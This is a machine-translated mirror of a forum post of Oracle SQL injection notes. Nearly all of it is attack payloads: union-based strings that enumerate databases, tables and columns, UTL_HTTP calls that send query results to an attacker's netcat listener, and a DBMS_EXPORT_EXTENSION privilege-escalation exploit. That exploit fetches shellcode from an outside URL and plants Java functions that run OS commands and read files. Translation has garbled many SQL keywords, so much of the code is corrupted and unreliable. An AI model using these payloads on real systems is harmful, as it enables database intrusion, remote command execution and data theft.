Denne artikkelen er en speilartikkel om maskinoversettelse, vennligst klikk her for å hoppe til originalartikkelen.

Utsikt: 11931|Svare: 0

[Trygg kommunikasjon] SQL-injeksjonsnotater orakel

[Kopier lenke]
Publisert på 24.01.2015 12:58:17 | | |
Dette innlegget ble sist redigert av test 2015-01-24 kl. 13:01

Kommentar: --
Utførelse av flere setninger støttes ikke, og fødererte spørringer støttes
Databasenavn, tabellnavn og kolonnenavn skrives alle med store bokstaver.


lengde(felt)
ascii(substr(felt, N, 1))


og (velg antall(*) fra dual)>0 -- Bestem om det er orakel eller ikke

Orden etter n--

og 1=2 union velger null, null,.....,null fra dual-- erstatt null med N eller 'N'

og 1=2 union select null, (sql-setning) ,.....,null fra dual -- endre til (sql-setning) på 'N'

og (velg antall(*) fra all_objects der object_name='UTL_HTTP')>0 -- Bestem om UTL_HTTP støttes (eksport-IP-en er kjent)

og UTL_HTTP.request('http://LocalIP:port'|| (SQL-setning)) =1-- Send meldinger eksternt til lokal, lokal lytting nc -vv -l -p 1234


SQL-setninger
Velg banner fra sys.v_$version hvor rownum=1 for å spørre orakelversjonen
velg medlem fra v$logfile hvor rownum=1 Søk i loggfilens sti (Windows eller Linux)
velg utl_inaddr.get_host_address fra dual for å spørre databasens lytte-IP
Velg instance_name fra v$instance for å spørre SIDEN
velg navn fra v$database Søk i det nåværende databasenavnet
Velg sys_context ('userenv', 'current_user') fra Dual Query database Users
Velg * fra session_roles der rownum=1 for å spørre om gjeldende brukertillatelser
Velg * fra session_roles hvor rownum=1 [og rolle<>'første tillatelsesnavn']



velg table_name fra user_tables der rownum=1 Det første tabellsegmentet i den nåværende databasen
velg table_name||','|| tablespace_name fra user_tables hvor rownum=1 Første tabellsegment, database (for verifisering kan det ikke være v$database)
velg table_name fra user_tables hvor rownum=1 og table_name<>'første tabellsegment' Det andre tabellsegmentet i den nåværende databasen

velg column_name fra user_tab_columns hvor rownum=1 og table_name='Table Segment' Det første feltet som tilsvarer tabellnavnet
velg column_name fra user_tab_columns hvor rownum=1 og table_name='Tabellsegment' og column_name<>'Første felt' Det andre feltet som tilsvarer tabellnavnet

Velg felt fra tabellsegment der rownum=1 bryter med innholdet på første linje
Velg felt fra tabellsegment hvor rownum=1 og felt <> 'første linjeinnhold' eksponerer innholdet på andre linje


Tverrbibliotek
Velg eier fra all_tables hvor rownum=1 spør det første databasenavnet
velg eier fra all_tables der rownum=1 og eier<> 'Første databasenavn' for å spørre i det andre databasenavnet

velg table_name fra all_tables der rownum=1 og owner='databasenavn' Søk i første tabellnavn i den tilsvarende databasen
Velg table_name fra all_tables der rownum=1 og owner='databasenavn' og table_name<>'første tabellnavn' for å spørre i det andre tabellnavnet til den tilsvarende databasen

velg column_name fra all_tab_columns der rownum=1 og eier='databasenavn' og table_name='tabellsegment' Det første feltet tilsvarer tabellnavnet
Velg column_name fra all_tab_columns hvor rownum=1 og eier='databasenavn' og table_name='tabellsegment' og column_name<>'første felt' Det andre feltet som tilsvarer tabellnavnet

Velg felt fra databasen. tabellsegment hvor rownum=1 bryter innholdet i den første linjen
Velg felt fra databasen. Tabellsegmentet der rownum=1 og feltet <> 'First Line Content' bryter med innholdet i andre rad.





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); flersetnings-END; --','SYS',0,'1',0)--

Hvis 'is escaped, brukes chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-setning || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Hvis flere setninger er for lange, kan du skrive setningen til nettsidefilen og bruke utl_http.request for å hente den.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Lag en JAVA-pakke SecTest
runCMD brukes til å utføre systemkommandoer
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART'' ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', opprett eller erstatt og kompiler en java-kilde kalt "SecTest" som import java.io.*; offentlig klasse SecTest utvider Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; mens((stemp=minLeser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Unntak e){return e.toString(); }}}''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--

readFile brukes til å lese filen
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART'' ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''', opprett eller erstatt og kompiler en java-kilde kalt "SecTest" som import java.io.*; offentlig klasse SecTest utvider Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; mens((stemp=minLeser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Unntak e){return e.toString(); }}}''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--



Gi Java-tillatelser
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILER>>'''''''',''''''''utføre''''''''); slutt; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--



Lag en funksjon
SecRunCMD-funksjonen
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', opprett eller erstatt funksjonen SecRunCMD(p_cmd i varchar2) returner varchar2 som språk java name''''''''SecTest.runCMD(java.lang.String) returner String'''''''' ; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--

SecReadFile-funksjonen
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', opprett eller erstatt funksjon SecReadFile(filnavn i varchar2) returner varchar2 som språkets java-navn''''''''SecTest.readFile(java.lang.String) returner String' '''''''; ''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--



Gi tillatelse til å utføre den offentlige funksjonen
SecRunCMD får tillatelser
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; BEGYNN Å UTFØRE UMIDDELBAR ''''tildelte alt på SecRunCMD til offentligheten'''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--

SecReadFile
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' Grant all on SecReadFile til offentligheten''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--



Oppdager om funksjonen ble opprettet med suksess
og (velg tell(*) fra all_objects hvor object_name='SECRUNCMD')>0--
og (velg teller(*) fra all_objects hvor object_name='SECREADFILE')>0--



Utfør kommandoen
og '1'<>(velg system. SecRunCMD('Execute-kommando') fra dual)--
og '1'<>(velg system. SecReadFile('fil fysisk adresse') fra dual)--
eller
og 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null fra dual--
og 1=2 union select null,...,sys. SecReadFile('fil fysisk adresse'),...,null fra dual--
eller
og '1'<>(velg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Utfør kommando'),' ',' '),'\n',' ')) fra dual)--
og '1'<>(velg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n',' ')) fra dual)--



Slett-funksjonen
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-funksjonen SecRunCMD''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--
og '1'<>'a'|| (velg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT». PUT(:P 1); UTFØR UMIDDELBART ''ERKLÆR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-funksjonen SecReadFile''''; SLUTT; ''; SLUTT; --','SYS',0,'1',0) fra dual)--




Foregående:Kan jeg søke om moderasjon, hvilke betingelser trenger jeg?
Neste:ORALCE henter vertsnavnet og IP-adressen
Ansvarsfraskrivelse:
All programvare, programmeringsmateriell eller artikler publisert av Code Farmer Network er kun for lærings- og forskningsformål; Innholdet ovenfor skal ikke brukes til kommersielle eller ulovlige formål, ellers skal brukerne bære alle konsekvenser. Informasjonen på dette nettstedet kommer fra Internett, og opphavsrettstvister har ingenting med dette nettstedet å gjøre. Du må fullstendig slette innholdet ovenfor fra datamaskinen din innen 24 timer etter nedlasting. Hvis du liker programmet, vennligst støtt ekte programvare, kjøp registrering, og få bedre ekte tjenester. Hvis det foreligger noen krenkelse, vennligst kontakt oss på e-post.

Mail To:help@itsvse.com